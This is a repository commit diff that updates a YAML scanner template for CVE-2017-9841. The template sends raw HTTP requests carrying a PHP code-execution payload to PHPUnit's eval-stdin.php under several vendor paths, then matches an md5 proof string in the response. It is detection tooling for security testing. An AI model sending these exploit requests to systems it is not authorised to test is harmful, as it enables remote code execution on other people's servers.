Update CVE-2017-9841.yaml
parent
3a72926d54
commit
13a5215bda
|
@ -2,34 +2,102 @@ id: CVE-2017-9841
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: CVE-2017-9841
|
name: CVE-2017-9841
|
||||||
author: Random_Robbie
|
author: Random_Robbie,pikpikcu
|
||||||
severity: high
|
severity: high
|
||||||
description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
|
description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
|
||||||
tags: cve,cve2017,php,phpunit,rce
|
tags: cve,cve2017,php,phpunit,rce
|
||||||
reference: |
|
reference: |
|
||||||
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
|
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
|
||||||
- https://github.com/RandomRobbieBF/phpunit-brute
|
- https://github.com/RandomRobbieBF/phpunit-brute
|
||||||
|
- https://thephp.cc/articles/phpunit-a-security-risk
|
||||||
|
- https://twitter.com/sec715/status/1411517028012158976
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
|
||||||
path:
|
- raw:
|
||||||
- "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
|
- |
|
||||||
- "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
|
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||||||
- "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
|
Host: {{Hostname}}
|
||||||
- "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
- "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
|
Connection: close
|
||||||
- "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
|
Content-Length: 17
|
||||||
- "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
|
Accept: */*
|
||||||
- "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
|
Accept-Language: en
|
||||||
- "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
|
Content-Type: text/html
|
||||||
- "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
|
Accept-Encoding: gzip, deflate
|
||||||
- "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
|
|
||||||
- "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
|
<?php echo md5(phpunit_rce);?>
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Length: 17
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
Content-Type: text/html
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
|
||||||
|
<?php echo md5(phpunit_rce);?>
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Length: 17
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
Content-Type: text/html
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
|
||||||
|
<?php echo md5(phpunit_rce);?>
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Length: 17
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
Content-Type: text/html
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
|
||||||
|
<?php echo md5(phpunit_rce);?>
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Length: 17
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
Content-Type: text/html
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
|
||||||
|
<?php echo md5(phpunit_rce);?>
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Length: 17
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
Content-Type: text/html
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
|
||||||
|
<?php echo md5(phpunit_rce);?>
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- "this version of phpunit requires php 5"
|
- "6dd70f16549456495373a337e6708865"
|
||||||
part: body
|
part: body
|
||||||
|
|
||||||
- type: status
|
- type: status
|
||||||
|
|
Loading…
Reference in New Issue